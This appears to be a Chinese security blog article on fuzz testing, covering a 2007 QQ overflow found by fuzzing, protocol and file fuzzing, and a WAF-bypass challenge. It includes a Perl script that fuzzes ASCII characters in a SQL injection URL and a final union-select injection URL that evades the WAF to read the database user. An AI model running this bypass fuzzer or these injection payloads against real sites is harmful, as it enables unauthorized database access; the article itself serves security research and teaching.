在计算机领域,Fuzz Testing(模糊测试)是一种测试方法,即构造一系列无规则的“坏”数据插入应用程序,判断程序是否出现异常,以发现潜在的bug。在信息安全领域,也有人尝试引入fuzz testing思想进行安全漏洞挖掘,而且效果不错。
大家可以看到,fuzz安全测试理论和应用都已经较为成熟,已有各种fuzz安全测试的框架、工具甚至书籍问世。
初识fuzz的威力是在07年。当时来自team509安全团队的wushi发现了QQ的一个溢出漏洞,wushi本着“负责任的漏洞披露过程”将漏洞细节告知了腾讯安全团队。为此,腾讯还专门发布了一个安全公告(http://im.qq.com/safe/affiche/2007/20071015.shtml)。这应该是腾讯的第一个漏洞安全公告,奠定了腾讯未来的安全漏洞应急响应基础,具有划时代的意义。当然,这些都是另一个话题了。
原来在当时的QQ 2007的远程协助模块在解包的过程中没有对传入的数据进行校验,结果就产生了溢出。如图所示就是发生堆溢出的汇编代码,我们可以看到memcpy函数三个参数外部均可以控制导致产生了堆溢出漏洞。攻击者可以构造特殊的数据包触发这个漏洞,wushi提供的PoC可以直接令远程协助的对方QQ崩溃。
真是个威力巨大的漏洞!本着“知其然知其所以然”的原则,漏洞处理完后我们请教wushi是如何发现的,wushi只轻描淡写地说了一个英文单词——fuzz!
从wushi的思路得到启发,腾讯安全团队也着手研究协议fuzz。
为了迅速排查类似漏洞,我们先使用了Python脚本进行“小步快跑”式的协议fuzz。QQ支持HTTP代理,我们就用一个Python写的HTTP代理让测试QQ A通过这个代理与测试QQ B进行通信,这个Python代理就负责按照一定规则修改经过的指定格式的数据(也就是指定模型的fuzz啦)。果然,我们又在QQ 2007的远程协助、视频通话、音频通话模块中发现了数个远程溢出漏洞,均及时得以修复。
使用HTTP代理只是权宜之计,因为不是所有的协议都支持HTTP代理,而且有些漏洞可能存在于原始协议中,于是我们又开发了一个基于Windows的协议fuzz程序。大致思路是通过DLL注入的方式hook某个进程调用的各个Socket发送函数,通过更改传输的数据进行fuzz。效果和Python殊途同归,但适用范围要大些。
这种在原有协议上进行fuzz的好处在于可以“智能的”进行fuzz(smart fuzz),避免了大量的无用功。试想,如果协议不对数据包本身就被丢弃了,毫无规则的fuzz(blind fuzz)会浪费大量人力物力。当然,有些漏洞本身可能就会出现在不符合协议的数据处理中。如果时间允许,全fuzz也是有必要的。
文件fuzz也是类似的思路。以JPG格式为例,只需要先找一些正常jpg文件做样本生成JPG模版,再对模版中的数据格式进行各种fuzz,生成fuzz样本,然后用程序逐个打开这些样本,看是否产生异常。
类似的fuzz框架/工具也很多,如Sulley、PaiMei、TAOF,都很高端上流,有兴趣的同学自行百度之,在此不赘述。
Web漏洞也是可以用fuzz思想来挖掘的。
比如挖掘HTML5新特性的XSS攻击代码,最好的办法就是fuzz。先枚举浏览器支持的HTML5的各种属性方法,赋值之后观察是否alert。对一些类XSS Filter(Web Mail)的漏洞挖掘也是基于这种思路。
前段时间安全宝搞了个绕过WAF的活动,我也体验了一把,用fuzz的方法发现一个绕过方法。
我们都知道WAF是先于Web应用解析外部参数的,如果认为恶意就会拦截,但是WAF和Web应用如果对外部数据处理不一致就会存在绕过WAF的情况。要想绕过WAF,只需要找到WAF认为不是恶意但是又能对Web应用产生攻击的特殊字符串。
当时我测试时安全宝的WAF时发现如果URL中含有“and”、“[空格]and[空格]”、“[TAB]and[TAB]”等都会被过滤(拦截的特征为HTTP 405),只要我能找到一个字符让WAF认为无问题,但是MySQL能知道是空格就好。
怎么办?盲目猜是没有意义且低效的。那么就fuzz吧。把ASCII码1到255都穷举一遍看看。于是一个Perl脚本应运而生:
use LWP 5.64;
$browser = LWP::UserAgent->new;
for($i=0;$i<256;$i++){
$j = data10to16($i);
print"[+] $j ". hex($j) ." ". chr(hex($j)) ." \n";
$url ="http://secaqb.anquanbao.org/sqlin.php?id=9and%".$j."1=1";
$response = $browser->get($url);
print"[-] code ".$response->status_line."\n";
if($response->content=~/www\.cnseay\.com/is){ print"[$] done ! ========================>\n"; }
sleep(1);
}
sub data10to16{
my($data)=@_;
my $data16=sprintf("x", $data);
return$data16;
}
运行脚本然后喝一杯咖啡,然后看结果,果然发现ASCII码11的字符(URL编码)可以绕过安全宝WAF的拦截并且MySQL认为是代替空格的字符。如图。
然后利用union查询时发现如果URL出现“1,1,1,1”字样也会被拦截,测试发现加几个空格就可以绕过。形式如“select 1, 1, 1, 1”。
所以结合这两个bug,构造这样的URL就可以读取到数据库user为seay@localhost:http://secaqb.anquanbao.org/sqlin.php?id=9 and1=2 unionselect1,user(), 3 ,4
网友评论